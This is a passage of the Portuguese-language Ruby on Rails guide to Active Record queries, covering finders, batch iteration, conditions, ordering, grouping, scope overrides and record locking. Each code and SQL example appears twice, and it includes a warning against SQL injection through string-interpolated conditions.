
2.1.4 last

O método last encontra o último registro ordenado pela primary key (padrão). Por exemplo:

irb> customer = Customer.last
=> #<Customer id: 221, first_name: "Russel">

customer = Customer.last Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers ORDER BY customers.id DESC LIMIT 1

SELECT * FROM customers ORDER BY customers.id DESC LIMIT 1 Copiar

O método last retorna nil se não encontrar nenhum registro correspondente e nenhuma exceção será disparada.

Se o seu default scope contém um método de ordenação, last irá retornar o último registro de acordo com essa ordenação.

Você pode passar um argumento número para o método last para retornar o mesmo número em resultados. Por exemplo:

irb> customers = Customer.last(3)
=> [#<Customer id: 219, first_name: "James">, #<Customer id: 220, first_name: "Sara">, #<Customer id: 221, first_name: "Russel">]

customers = Customer.last(3) Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers ORDER BY customers.id DESC LIMIT 3

SELECT * FROM customers ORDER BY customers.id DESC LIMIT 3 Copiar

Em uma coleção ordenada utilizando o order, last irá retornar o último registro que foi ordenado com o atributo especificado em order.

irb> customer = Customer.order(:first_name).last
=> #<Customer id: 220, first_name: "Sara">

customer = Customer.order(:first_name).last Copiar

O equivalente ao de cima, em SQL, seria:

SELECT * FROM customers ORDER BY customers.first_name DESC LIMIT 1

SELECT * FROM customers ORDER BY customers.first_name DESC LIMIT 1 Copiar

O método last! se comporta exatamente como o last, exceto que irá gerar uma exceção ActiveRecord::RecordNotFound se nenhum registro correspondente for encontrado.

2.1.5 find_by

O método find_by irá retornar o primeiro registro que corresponde às condições. Por exemplo:

irb> Customer.find_by first_name: 'Lifo'
=> #<Customer id: 1, first_name: "Lifo">

irb> Customer.find_by first_name: 'Jon'
=> nil

Customer.find_by first_name: 'Lifo' Customer.find_by first_name: 'Jon' Copiar

É equivalente à escrever:

Customer.where(first_name: 'Lifo').take

Customer.where(first_name: 'Lifo').take Copiar

O equivalente ao de cima, em SQL, seria

SELECT * FROM customers WHERE (customers.first_name = 'Lifo') LIMIT 1

SELECT * FROM customers WHERE (customers.first_name = 'Lifo') LIMIT 1 Copiar

O método find_by se comporta exatamente como o find_by, exceto que irá gerar uma exceção ActiveRecord::RecordNotFound se nenhum registro correspondente for encontrado. Por exemplo:

irb> Customer.find_by! first_name: 'does not exist'
ActiveRecord::RecordNotFound

Customer.find_by! first_name: 'does not exist' Copiar

Isto é equivalente à escrever:

Customer.where(first_name: 'does not exist').take!

Customer.where(first_name: 'does not exist').take! Copiar

2.2 Retornando Múltiplos Objetos em Lotes

Nós frequentemente precisamos iterar sobre um grande número de registros, seja quando precisamos enviar newsletter para um grande número de clientes, ou quando vamos exportar dados.

Isso pode parecer simples:

# Isso pode consumir muita memória se a tabela for grande.
Customer.all.each do |customer|
NewsMailer.weekly(customer).deliver_now
end

# Isso pode consumir muita memória se a tabela for grande. Customer.all.each do |customer| NewsMailer.weekly(customer).deliver_now end Copiar

Mas essa abordagem se torna cada vez mais impraticável à medida que o tamanho da tabela aumenta, pois o Customer.all.each instrui o Active Record à buscar a tabela inteira em uma única passagem, cria um model de objeto por linha e mantém todo o array de objetos de model na memória. De fato, se você tem um grande número de registros, a coleção inteira pode exceder a quantidade de memória disponível.

O Rails fornece dois métodos para solucionar esse problema, dividindo os registros em lotes memory-friendly para o processamento. O primeiro método, find_each, retorna um lote de registros e depois submete cada registro individualmente para um bloco como um model. O segundo método, find_in_batches, retorna um lote de registros e depois submete o lote inteiro ao bloco como um array de models.

Os métodos find_each e find_in_batches são destinados ao uso no processamento em lotes de grandes numéros de registros que não irão caber na memória de uma só vez. Se você apenas precisa fazer um loop em milhares de registros, os métodos regulares do find são a opção preferida.

2.2.1 find_each

O método find_each retorna os registros em lotes e depois aloca cada um no bloco. No exemplo a seguir, find_each retorna customers em lotes de 1000 e os aloca no bloco um à um:

Customer.find_each do |customer|
NewsMailer.weekly(customer).deliver_now
end

Customer.find_each do |customer| NewsMailer.weekly(customer).deliver_now end Copiar

Esse processo é repetido, buscando mais lotes sempre que preciso, até que todos os registros tenham sido processados.

find_each funciona com classes de model, como visto acima, assim como relações:

Customer.where(weekly_subscriber: true).find_each do |customer|
NewsMailer.weekly(customer).deliver_now
end

Customer.where(weekly_subscriber: true).find_each do |customer| NewsMailer.weekly(customer).deliver_now end Copiar

contanto que ele não tenha nenhuma ordenação, pois o método necessita forçar uma ordem interna para iterar.

Se houver uma ordem presente no receptor, o comportamento depende da flag config.active_record.error_on_ignored_order. Se verdadeiro, ArgumentError é disparada, caso contrário a ordem será ignorada e um aviso gerado, que é o padrão. Isto pode ser substituído com a opção :error_on_ignore, explicado abaixo.

2.2.1.1 Options for find_each

2.2.1.2 Opções para find_each

:batch_size

A opção :batch_size permite que você especifique o número de registros à serem retornados em cada lote, antes de serem passados, individualmente, para o bloco. Por exemplo, para retornar registros de um lote de 5000:

Customer.find_each(batch_size: 5000) do |customer|
NewsMailer.weekly(customer).deliver_now
end

Customer.find_each(batch_size: 5000) do |customer| NewsMailer.weekly(customer).deliver_now end Copiar

:start

Por padrão, os registros são buscados em ordem ascendente de primary key. A opção :start permite que você configure o primeiro ID da sequência sempre que o menor ID não seja o que você precisa. Isto pode ser útil, por exemplo, se você quer retomar um processo interrompido de lotes, desde que você tenha salvo o último ID processado como ponto de retorno.

Por exemplo, para enviar newsletters apenas para os clientes com a primary key começando com 2000:

Customer.find_each(start: 2000) do |customer|
NewsMailer.weekly(customer).deliver_now
end

Customer.find_each(start: 2000) do |customer| NewsMailer.weekly(customer).deliver_now end Copiar

:finish

Similar à opção :start, :finish permite que você configure o último ID da sequência sempre que o maior ID não seja o que você necessite. Isso pode ser útil, por exemplo, se você quer executar um processo de lotes utilizando subconjuntos de registros baseados no :start e :finish

Por exemplo, para enviar newsletters apenas para os clientes com a primary key começando em 2000 e indo até 10000:

Customer.find_each(start: 2000, finish: 10000) do |customer|
NewsMailer.weekly(customer).deliver_now
end

Customer.find_each(start: 2000, finish: 10000) do |customer| NewsMailer.weekly(customer).deliver_now end Copiar

Outro exemplo seria se você queira múltiplos workers manipulando a mesma fila de processamento. Você pode ter cada worker lidando com 10000 registros atribuindo a opção :start e finish apropriadas para cada worker

:error_on_ignore

Sobrescreve as configurações da aplicação para especificar se um erro deve ser disparada quando a ordem está presente na relação.

2.2.2 find_in_batches

O método find_in_batches é similar ao find_each, pois ambos retornam lotes de registros. A diferença é que o find_in_batches fornece lotes ao bloco como um array de models, em vez de individualmente. O exemplo à seguir irá produzir ao bloco fornecido um array com até 1000 notas fiscais de uma vez, com o bloco final contendo quaisquer clientes remanescente:

# Fornece à add_customers um array com 1000 clientes de cada vez.
Customer.find_in_batches do |customers|
export.add_customers(customers)
end

# Fornece à add_customers um array com 1000 clientes de cada vez. Customer.find_in_batches do |customers| export.add_customers(customers) end Copiar

find_in_batches funcional com classes de model, como visto acima, e também com relações:

# Fornece à add_customers um array dos 1000 clientes ativos recentemente de cada vez.
Customer.recently_active.find_in_batches do |customers|
export.add_customers(customers)
end

# Fornece à add_customers um array dos 1000 clientes ativos recentemente de cada vez. Customer.recently_active.find_in_batches do |customers| export.add_customers(customers) end Copiar

contanto que não há ordenação, pois o método irá forçar uma ordem interna para a iteração.

2.2.2.1 Opções parafind_in_batches

O método find_in_batches aceita as mesmas opção que o find_each:

:batch_size

Assim como para find_each, batch_size estabelece quantos registros serão recuperados em cada grupo. Por exemplo, a recuperação de lotes de 2500 registros pode ser especificada como:

Customer.find_in_batches(batch_size: 2500) do |customers|
export.add_customers(customers)
end

Customer.find_in_batches(batch_size: 2500) do |customers| export.add_customers(customers) end Copiar

:start

A opção start permite especificar o ID inicial de onde os registros serão selecionados. Conforme mencionado antes, por padrão, os registros são buscados em ordem crescente da chave primária. Por exemplo, para recuperar clientes começando com ID: 5000 em lotes de 2500 registros, o seguinte código pode ser usado:

Customer.find_in_batches(batch_size: 2500, start: 5000) do |customers|
export.add_customers(customers)
end

Customer.find_in_batches(batch_size: 2500, start: 5000) do |customers| export.add_customers(customers) end Copiar

:finish

A opção finish permite especificar a identificação final dos registros a serem recuperados. O código abaixo mostra o caso de recuperação de clientes em lotes, até o cliente com ID: 7000:

Customer.find_in_batches(finish: 7000) do |customers|
export.add_customers(customers)
end

Customer.find_in_batches(finish: 7000) do |customers| export.add_customers(customers) end Copiar

:error_on_ignore

A opção error_on_ignore sobrescreve a configuração da aplicação para especificar se um erro deve ser disparado quando uma ordem específica está presente na relação.

3 Condições

O método where permite que você especifique condições para limitar os registros retornados, representando a parte where da instrução SQL. Condições podem ser especificadas como uma string, array, ou hash.

3.1 Condições de Strings Puras

Se você gostaria de adicionar condições para sua busca, poderia apenas especificá-las, como, por exemplo Book.where("title = 'Introdução a Algoritmos'"). Isso encontrará todos os livros em que o campo title tenha o valor igual a "Introdução a Algoritmos".

Construindo sua própria condições como strings pura pode te deixar vulnerável a ataques de injeção SQL. Por exemplo, Book.where("title LIKE '%#{params[:title]}%'") não é seguro. Veja a próxima seção para saber a maneira preferida de lidar com condições usando array.

3.2 Condições de Array

Agora, se esse título pudesse variar, digamos como um argumento de algum lugar? O comando da busca então levaria a forma:

Book.where("title = ?", params[:title])

Book.where("title = ?", params[:title]) Copiar

Active Record tomará o primeiro argumento como a string de condições e quaisquer argumentos adicionais vão substituir os pontos de interrogação (?) nele.

Se você quer especificar múltiplas condições:

Book.where("title = ? AND out_of_print = ?", params[:title], false)

Book.where("title = ? AND out_of_print = ?", params[:title], false) Copiar

Neste exemplo, o primeiro ponto de interrogação será substituído com o valor em params[:title] e o segundo será substituído com a representação SQL para false, que depende do adaptador.

Este código é altamente preferível:

Book.where("title = ?", params[:title])

Book.where("title = ?", params[:title]) Copiar

Para este código:

Book.where("title = #{params[:title]}")

Book.where("title = #{params[:title]}") Copiar

Devido à segurança do argumento. Colocando a variável dentro da condição de string, passará a variável para o banco de dados como se encontra. Isto significa que será uma variável sem escape diretamente de um usuário que pode ter intenções maliciosas. Se você fizer isso, coloca todo seu banco de dados em risco, porque uma vez que um usuário descobre que pode explorar seu banco de dados, ele pode fazer qualquer coisa com ele. Nunca, jamais, coloque seus argumentos diretamente dentro da condição de string.

Para mais informações sobre os perigos da injeção de SQL, veja em Ruby on Rails Security Guide / Ruby on Rails Security Guide PT-Br

3.2.1 Condições com Placeholder

Similar ao estilo de substituição (?) dos parâmetros, você também pode especificar chaves em sua condição de string junto com uma hash de chaves/valores (keys/values) correspondentes:

Book.where("created_at >= :start_date AND created_at <= :end_date",
{start_date: params[:start_date], end_date: params[:end_date]})

Book.where("created_at >= :start_date AND created_at <= :end_date", {start_date: params[:start_date], end_date: params[:end_date]}) Copiar

Isso torna a legibilidade mais clara se você tem um grande número de condições variáveis.

3.3 Condições de Hash

Active Record também permite que você passe em condições de hash o que pode aumentar a legibilidade de suas sintaxes de condições. Com condições de hash, você passa em uma hash com chaves (keys) dos campos que deseja qualificados e os valores (values) de como deseja qualificá-los:

Apenas igualdade, intervalo, e subconjunto são possíveis com as condições de hash.

3.3.1 Condições de igualdade

Book.where(out_of_print: true)

Book.where(out_of_print: true) Copiar

Isso irá gerar um SQL como este:

SELECT * FROM books WHERE (books.out_of_print = 1)

SELECT * FROM books WHERE (books.out_of_print = 1) Copiar

O nome do campo também pode ser uma string:

Book.where('out_of_print' => true)

Book.where('out_of_print' => true) Copiar

No caso de um relacionamento belongs_to, uma chave de associação pode ser usada para especificar o model se um objeto Active Record for usado como o valor. Este método também funciona com relacionamentos polimórficos.

author = Author.first
Book.where(author: author)
Author.joins(:books).where(books: { author: author })

author = Author.first Book.where(author: author) Author.joins(:books).where(books: { author: author }) Copiar

3.3.2 Condições de intervalos

Book.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)

Book.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight) Copiar

Isso irá encontrar todos livros criados ontem usando uma instrução SQL BETWEEN:

SELECT * FROM books WHERE (books.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')

SELECT * FROM books WHERE (books.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') Copiar

Isso demonstra uma sintaxe mais curta para exemplos em Condições de Array

3.3.3 Subconjunto de Condições

Se você deseja procurar registros usando a expressão IN pode passar um array para a hash de condições:

Customer.where(orders_count: [1,3,5])

Customer.where(orders_count: [1,3,5]) Copiar

Esse código irá gerar um SQL como este:

SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5))

SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5)) Copiar

3.4 Condições NOT

Consultas SQL NOT podem ser construídas por where.not:

Customer.where.not(orders_count: [1,3,5])

Customer.where.not(orders_count: [1,3,5]) Copiar

Em outras palavras, essa consulta pode ser gerada chamando where sem nenhum argumento, então imediatamente encadeie com condições not passando where. Isso irá gerar SQL como este:

SELECT * FROM customers WHERE (customers.orders_count NOT IN (1,3,5))

SELECT * FROM customers WHERE (customers.orders_count NOT IN (1,3,5)) Copiar

3.5 Condições OR

Condições OR entre duas relações podem ser construídas chamando or na primeira relação, e passando o segundo como um argumento.

Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1,3,5]))

Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1,3,5])) Copiar

SELECT * FROM customers WHERE (customers.last_name = 'Smith' OR customers.orders_count IN (1,3,5))

SELECT * FROM customers WHERE (customers.last_name = 'Smith' OR customers.orders_count IN (1,3,5)) Copiar

4 Ordenando

Para recuperar registros do banco de dados em uma ordem específica, você pode usar o método de order.

Por exemplo, se você deseja obter um conjunto de registros e ordená-los em ordem crescente pelo campo created_at na sua tabela:

Customer.order(:created_at)
# OU
Customer.order("created_at")

Customer.order(:created_at) # OU Customer.order("created_at") Copiar

Você também pode especificar ASC ouDESC:

Customer.order(created_at: :desc)
# OU
Customer.order(created_at: :asc)
# OU
Customer.order("created_at DESC")
# OU
Customer.order("created_at ASC")

Customer.order(created_at: :desc) # OU Customer.order(created_at: :asc) # OU Customer.order("created_at DESC") # OU Customer.order("created_at ASC") Copiar

Ou ordenar por campos diversos:

Customer.order(orders_count: :asc, created_at: :desc)
# OU
Customer.order(:orders_count, created_at: :desc)
# OU
Customer.order("orders_count ASC, created_at DESC")
# OU
Customer.order("orders_count ASC", "created_at DESC")

Customer.order(orders_count: :asc, created_at: :desc) # OU Customer.order(:orders_count, created_at: :desc) # OU Customer.order("orders_count ASC, created_at DESC") # OU Customer.order("orders_count ASC", "created_at DESC") Copiar

Se você quiser chamar order várias vezes, as ordens subsequentes serão anexados à primeira:

irb> Customer.order("orders_count ASC").order("created_at DESC")
SELECT * FROM customers ORDER BY orders_count ASC, created_at DESC

Customer.order("orders_count ASC").order("created_at DESC") Copiar

Na maioria dos sistemas de banco de dados, ao selecionar campos com distinct de um conjunto de resultados usando métodos comoselect, pluck e ids; o método order gerará uma exceção ActiveRecord::StatementInvalid, a menos que o(s) campo(s) usados na cláusula order estejam incluídos na lista de seleção. Consulte a próxima seção para selecionar campos do conjunto de resultados.

5 Selecionando Campos Específicos

Por padrão, Model.find seleciona todos os campos do conjunto de resultado usando select *.

Para selecionar somente um subconjunto de campos do conjunto de resultado, você pode especificar o subconjunto via método select.

Por exemplo, para selecionar somente as colunas isbn e out_of_print:

Book.select(:isbn, :out_of_print)
# OU
Book.select("isbn, out_of_print")

Book.select(:isbn, :out_of_print) # OU Book.select("isbn, out_of_print") Copiar

A query SQL usada por esta chamada de busca vai ser algo como:

SELECT isbn, out_of_print FROM books

SELECT isbn, out_of_print FROM books Copiar

Tome cuidado pois isso também significa que você está inicializando um objeto model com somente os campos que você selecionou. Se você tentar acessar um campo que não está no registro inicializado, você vai receber:

ActiveModel::MissingAttributeError: missing attribute: <attribute>

ActiveModel::MissingAttributeError: missing attribute: <attribute> Copiar

Onde <attribute> é o atributo que você pediu. O método id não vai lançar o ActiveRecord::MissingAttributeError, então fique atento quando estiver trabalhando com associações, pois elas precisam do método id para funcionar corretamente.

Se você quiser pegar somente um registro por valor único em um certo campo, você pode usar distinct:

Customer.select(:last_name).distinct

Customer.select(:last_name).distinct Copiar

Isso vai gerar uma query SQL como:

SELECT DISTINCT last_name FROM customers

SELECT DISTINCT last_name FROM customers Copiar

Você pode também remover a restrição de unicidade:

# Retorna último nome únicos
query = Customer.select(:last_name).distinct

# Retorna todos os últimos nomes, mesmo se houverem valores duplicados.
query.distinct(false)

# Retorna último nome únicos query = Customer.select(:last_name).distinct # Retorna todos os últimos nomes, mesmo se houverem valores duplicados. query.distinct(false) Copiar

6 Limit e Offset

Para aplicar LIMIT ao SQL disparado pelo método Model.find, você pode especificar o LIMIT usando os métodos limit e offset na relação.

Você pode utilizar limit para especificar o número de registros para buscar, e usar offset para especificar o número de registros para pular antes de retornar os registros. Por exemplo

Customer.limit(5)

Customer.limit(5) Copiar

retornará no máximo 5 clientes e devido ao método não especificar nenhum offset ele retornará os primeiros 5 registros na tabela. O SQL que o método executa será parecido com:

SELECT * FROM customers LIMIT 5

SELECT * FROM customers LIMIT 5 Copiar

Ao adicionar offset

Customer.limit(5).offset(30)

Customer.limit(5).offset(30) Copiar

a chamada retornará no lugar um máximo de 5 clientes iniciando com o trigésimo-primeiro. O SQL será parecido com:

SELECT * FROM customers LIMIT 5 OFFSET 30

SELECT * FROM customers LIMIT 5 OFFSET 30 Copiar

7 Agrupando

Para aplicar uma cláusula GROUP BY para o SQL disparado pelo localizador, você pode utilizar o método group.

Por exemplo, se você quer encontrar uma coleção das datas em que os pedidos foram criados:

Order.select("created_at").group("created_at")

Order.select("created_at").group("created_at") Copiar

E isso te dará um único objeto Order para cada data em que há pedidos no banco de dados.

O SQL que será executado parecerá com algo como isso:

SELECT created_at
FROM orders
GROUP BY created_at

SELECT created_at FROM orders GROUP BY created_at Copiar

7.1 Total de itens agrupados

Para pegar o total de itens agrupados em uma única query, chame count depois do group.

irb> Order.group(:status).count
=> {"being_packed"=>7, "shipped"=>12}

Order.group(:status).count Copiar

O SQL que será executado parecerá com algo como isso:

SELECT COUNT (*) AS count_all, status AS status
FROM orders
GROUP BY status

SELECT COUNT (*) AS count_all, status AS status FROM orders GROUP BY status Copiar

8 Having

O SQL usa a cláusula HAVING para especificar condições nos campos GROUP BY. Você pode adicionar a cláusula HAVING ao SQL disparado pelo Model.find ao adicionar o método having à busca.

Por exemplo:

Order.select("created_at, sum(total) as total_price").
group("created_at").having("sum(total) > ?", 200)

Order.select("created_at, sum(total) as total_price"). group("created_at").having("sum(total) > ?", 200) Copiar

O SQL que será executado será parecido com isso:

SELECT created_at as ordered_date, sum(total) as total_price
FROM orders
GROUP BY created_at
HAVING sum(total) > 200

SELECT created_at as ordered_date, sum(total) as total_price FROM orders GROUP BY created_at HAVING sum(total) > 200 Copiar

Isso retorna a data e o preço total para cada objeto de pedido, agrupado pelo dia em que foram criados e se o preço é maior que $200.

Se você quiser acessar o total_price para cada objeto order retornado pode fazer assim:

big_orders = Order.select("created_at, sum(total) as total_price")
.group("created_at")
.having("sum(total) > ?", 200)

big_orders[0].total_price
# Retorna o preço total para o primeiro objeto Order

big_orders = Order.select("created_at, sum(total) as total_price") .group("created_at") .having("sum(total) > ?", 200) big_orders[0].total_price # Retorna o preço total para o primeiro objeto Order Copiar

9 Condições de Substituição

9.1 unscope

Você pode especificar certas condições a serem removidas usando o método unscope. Por exemplo:

Book.where('id > 100').limit(20).order('id desc').unscope(:order)

Book.where('id > 100').limit(20).order('id desc').unscope(:order) Copiar

O SQL que será executado:

SELECT * FROM books WHERE id > 100 LIMIT 20

-- Query original sem `unscope`
SELECT * FROM books WHERE id > 100 ORDER BY id desc LIMIT 20

SELECT * FROM books WHERE id > 100 LIMIT 20 -- Query original sem `unscope` SELECT * FROM books WHERE id > 100 ORDER BY id desc LIMIT 20 Copiar

Você também pode remover o escopo de cláusulas where específicas. Por exemplo, isto irá remover a condição do id da cláusula de where:

Book.where(id: 10, out_of_print: false).unscope(where: :id)
# SELECT books.* FROM books WHERE out_of_print = 0

Book.where(id: 10, out_of_print: false).unscope(where: :id) # SELECT books.* FROM books WHERE out_of_print = 0 Copiar

A relação que usou unscope afetará quaisquer relações nas quais foi unida:

Book.order('id desc').merge(Book.unscope(:order))
# SELECT books.* FROM books

Book.order('id desc').merge(Book.unscope(:order)) # SELECT books.* FROM books Copiar

9.2 only

Você também pode substituir condições com o método only. Por exemplo:

Book.where('id > 10').limit(20).order('id desc').only(:order, :where)

Book.where('id > 10').limit(20).order('id desc').only(:order, :where) Copiar

O SQL que será executado:

SELECT * FROM books WHERE id > 10 ORDER BY id DESC

-- Query original sem o `only`
SELECT * FROM books WHERE id > 10 ORDER BY id DESC LIMIT 20

SELECT * FROM books WHERE id > 10 ORDER BY id DESC -- Query original sem o `only` SELECT * FROM books WHERE id > 10 ORDER BY id DESC LIMIT 20 Copiar

9.3 reselect

O método reselect substitui uma declaração de select existente. Por exemplo:

Book.select(:title, :isbn).reselect(:created_at)

Book.select(:title, :isbn).reselect(:created_at) Copiar

O SQL que será executado:

SELECT `books`.`created_at` FROM `books`

SELECT `books`.`created_at` FROM `books` Copiar

Compare com uma cláusula em que o reselect não é utilizado:

Book.select(:title, :isbn).select(:created_at)

Book.select(:title, :isbn).select(:created_at) Copiar

o SQL executado será:

SELECT `books`.`title`, `books`.`isbn`, `books`.`created_at` FROM `books`

SELECT `books`.`title`, `books`.`isbn`, `books`.`created_at` FROM `books` Copiar

9.4 reorder

O método reorder substitui a ordem de escopo padrão. Por exemplo:

class Author < ApplicationRecord
has_many :books, -> { order(year_published: :desc) }
end

class Author < ApplicationRecord has_many :books, -> { order(year_published: :desc) } end Copiar

E você executa assim:

Author.find(10).books

Author.find(10).books Copiar

O SQL que será executado:

SELECT * FROM authors WHERE id = 10 LIMIT 1
SELECT * FROM books WHERE author_id = 10 ORDER BY year_published DESC

SELECT * FROM authors WHERE id = 10 LIMIT 1 SELECT * FROM books WHERE author_id = 10 ORDER BY year_published DESC Copiar

Você pode usar o método reorder para especificar um jeito diferente de ordenar os livros:

Author.find(10).books.reorder('year_published ASC')

Author.find(10).books.reorder('year_published ASC') Copiar

O SQL que será executado:

SELECT * FROM authors WHERE id = 10 LIMIT 1
SELECT * FROM books WHERE author_id = 10 ORDER BY year_published ASC

SELECT * FROM authors WHERE id = 10 LIMIT 1 SELECT * FROM books WHERE author_id = 10 ORDER BY year_published ASC Copiar

9.5 reverse_order

O método reverse_order reverte a ordem da cláusula, se especificado.

Customer.where("orders_count > 10").order(:last_name).reverse_order

Customer.where("orders_count > 10").order(:last_name).reverse_order Copiar

O SQL que será executado:

SELECT * FROM customers WHERE orders_count > 10 ORDER BY last_name DESC

SELECT * FROM customers WHERE orders_count > 10 ORDER BY last_name DESC Copiar

Se nenhuma cláusula de ordenação é especificada na query, o reverse_order ordena pela chave primária em ordem reversa.

Customer.where("orders_count > 10").reverse_order

Customer.where("orders_count > 10").reverse_order Copiar

O SQL que será executado:

SELECT * FROM customers WHERE orders_count > 10 ORDER BY customers.id DESC

SELECT * FROM customers WHERE orders_count > 10 ORDER BY customers.id DESC Copiar

O método reverse_order não aceita argumentos.

9.6 rewhere

O método rewhere substitui uma existente, nomeada condição de where. Por exemplo:

Book.where(out_of_print: true).rewhere(out_of_print: false)

Book.where(out_of_print: true).rewhere(out_of_print: false) Copiar

O SQL que será executado:

SELECT * FROM books WHERE `out_of_print` = 0

SELECT * FROM books WHERE `out_of_print` = 0 Copiar

Se a cláusula rewhere não for utilizada, as cláusulas where são juntadas usando AND:

Book.where(out_of_print: true).where(out_of_print: false)

Book.where(out_of_print: true).where(out_of_print: false) Copiar

o SQL será:

SELECT * FROM books WHERE `out_of_print` = 1 AND `out_of_print` = 0

SELECT * FROM books WHERE `out_of_print` = 1 AND `out_of_print` = 0 Copiar

10 Relações Nulas

O método none retorna uma relação encadeada sem registros. Quaisquer condições subsequentes encadeadas à relação retornada continuarão gerando relações vazias. Isso é útil em cenários onde você precisa de uma resposta encadeada para um método ou um escopo que pode retornar zero resultados.

Order.none # retorna uma Relation vazia e não dispara nenhuma query.

Order.none # retorna uma Relation vazia e não dispara nenhuma query. Copiar

# O método highlighted_review abaixo deve sempre retornar uma Relation.
Book.first.highlighted_reviews.average(:rating)
# => Retorna a média de avaliações dos livros

class Book
# Retorna avaliações se forem pelo menos 5,
# senão considere o livros como não avaliado
def highlighted_reviews
if reviews.count > 5
reviews
else
Review.none # Não atingiu o número mínimo de avaliações ainda
end
end
end

# O método highlighted_review abaixo deve sempre retornar uma Relation. Book.first.highlighted_reviews.average(:rating) # => Retorna a média de avaliações dos livros class Book # Retorna avaliações se forem pelo menos 5, # senão considere o livros como não avaliado def highlighted_reviews if reviews.count > 5 reviews else Review.none # Não atingiu o número mínimo de avaliações ainda end end end Copiar

11 Objetos Readonly (Somente leitura)

O Active Record provê o método readonly em uma relação para desabilitar modificações explicitamente em qualquer um dos objetos retornados. Qualquer tentativa de alterar um registro readonly não ocorrerá, disparando uma exceção ActiveRecord::ReadOnlyRecord.

customer = Customer.readonly.first
customer.visits += 1
customer.save

customer = Customer.readonly.first customer.visits += 1 customer.save Copiar

Como customer é explicitamente configurado para ser um objeto readonly, o código acima disparando uma exceção ActiveRecord::ReadOnlyRecord ao chamar client.save com o valor atualizado de visits.

12 Bloqueando registros para alteração

O bloqueio é útil para prevenir condições de corrida ao alterar registros no banco de dados e para garantir alterações atômicas.

O Active Record provê dois mecanismos de bloqueio:

- Bloqueio otimista

- Bloqueio pessimista

12.1 Bloqueio Otimista

O bloqueio otimista permite que múltiplos usuários acessem o mesmo registro para edição e presume um mínimo de conflitos com os dados. Isto é feito verificando se outro processo fez mudanças em um registro desde que ele foi aberto. Uma exceção ActiveRecord::StaleObjectError é disparada se isso ocorreu e a alteração é ignorada.

Coluna de bloqueio otimista

Para usar o bloqueio otimista, a tabela precisa ter uma coluna chamada lock_version do tipo inteiro. Cada vez que o registro é alterado, o Active Record incrementa o valor na coluna lock_version. Se uma requisição de alteração é feita com um valor menor no campo lock_version do que o valor que está atualmente na coluna lock_version no banco de dados, a requisição de alteração falhará com um ActiveRecord::StaleObjectError.

Por exemplo:

c1 = Customer.find(1)
c2 = Customer.find(1)

c1.first_name = "Sandra"
c1.save

c2.first_name = "Michael"
c2.save # Dispara um ActiveRecord::StaleObjectError

c1 = Customer.find(1) c2 = Customer.find(1) c1.first_name = "Sandra" c1.save c2.first_name = "Michael" c2.save # Dispara um ActiveRecord::StaleObjectError Copiar

Você fica então responsável por lidar com o conflito tratando a exceção e desfazendo as alterações, agrupando-as ou aplicando a lógica de negócio necessária para resolver o conflito.

Este comportamento pode ser desativado definindo ActiveRecord::Base.lock_optimistically = false.

Para usar outro nome para a coluna lock_version, ActiveRecord::Base oferece um atributo de classe chamado locking_column:

class Customer < ApplicationRecord
self.locking_column = :lock_customer_column
end

class Customer < ApplicationRecord self.locking_column = :lock_customer_column end Copiar

12.2 Bloqueio pessimista

O bloqueio pessimista usa um mecansimo de bloqueio fornecido pelo banco de dados subjacente. Ao usar lock quando uma relation (objeto do tipo ActiveRecord::Relation) é criada, obtém-se um bloqueio exclusivo nas linhas selecionadas. Relations usando lock são normalmente executadas dentro de uma transação para permitir condições de deadlock.

Por exemplo:

Book.transaction do
book = Book.lock.first
book.title = 'Algorithms, second edition'
book.save!
end

Book.transaction do book = Book.lock.first book.title = 'Algorithms, second edition' book.save! end Copiar

A sessão acima produz o seguinte SQL para um banco de dados MySQL:

SQL (0.2ms)   BEGIN
Book Load (0.3ms)   SELECT * FROM `books` LIMIT 1 FOR UPDATE
Book Update (0.4ms)   UPDATE `books` SET `updated_at` = '2009-02-07 18:05:56', `title` = 'Algorithms, second edition' WHERE `id` = 1
SQL (0.8ms)   COMMIT

SQL (0.2ms) BEGIN Book Load (0.3ms) SELECT * FROM `books` LIMIT 1 FOR UPDATE Book Update (0.4ms) UPDATE `books` SET `updated_at` = '2009-02-07 18:05:56', `title` = 'Algorithms, second edition' WHERE `id` = 1 SQL (0.8ms) COMMIT Copiar

Você também pode passar SQL diretamente para o método lock para permitir diferentes tipos de bloqueio. Por exemplo, MySQL tem uma expressão chamada LOCK IN SHARE MODE que permite bloquear um registro mas ainda assim permitir que outras consultas o leiam. Para especificar esta expressão, basta passá-la ao método lock:

Book.transaction do
book = Book.lock("LOCK IN SHARE MODE").find(1)
book.increment!(:views)
end

Book.transaction do book = Book.lock("LOCK IN SHARE MODE").find(1) book.increment!(:views) end Copiar

Observe que seu banco de dados deve suportar o SQL puro, que você irá passar para o método lock.

Se você já tem uma instância do seu modelo, você pode iniciar uma transação e obter o bloqueio de uma vez só usando o código seguinte:

book = Book.first
book.with_lock do
# Este bloco é chamado dentro de uma transação,
# o livro já está bloqueado.
book.increment!(:views)
end

book = Book.first book.with_lock do # Este bloco é chamado dentro de uma transação, # o livro já está bloqueado. book.increment!(:views) end Copiar

13 Associando Tabelas

O Active Record fornece dois métodos de busca para especificar cláusulas JOIN no SQL resultante: joins e left_outer_joins. Enquanto joins deve ser utilizado para INNER JOIN em consultas personalizadas, left_outer_joins é usado para consultas usando LEFT OUTER JOIN.

13.1 joins

Há múltiplas maneiras de usar o método joins.

13.1.1 Usando um Fragmento de String SQL

Você pode apenas fornecer o SQL literal especificando a cláusula JOIN para joins:

Author.joins("INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE")

Author.joins("INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE") Copiar

Isso resultará no seguinte SQL:

SELECT authors.* FROM authors INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE

SELECT authors.* FROM authors INNER JOIN books ON books.author_id = authors.id AND books.out_of_print = FALSE Copiar

13.1.2 Usando Array/Hash de Associações Nomeadas

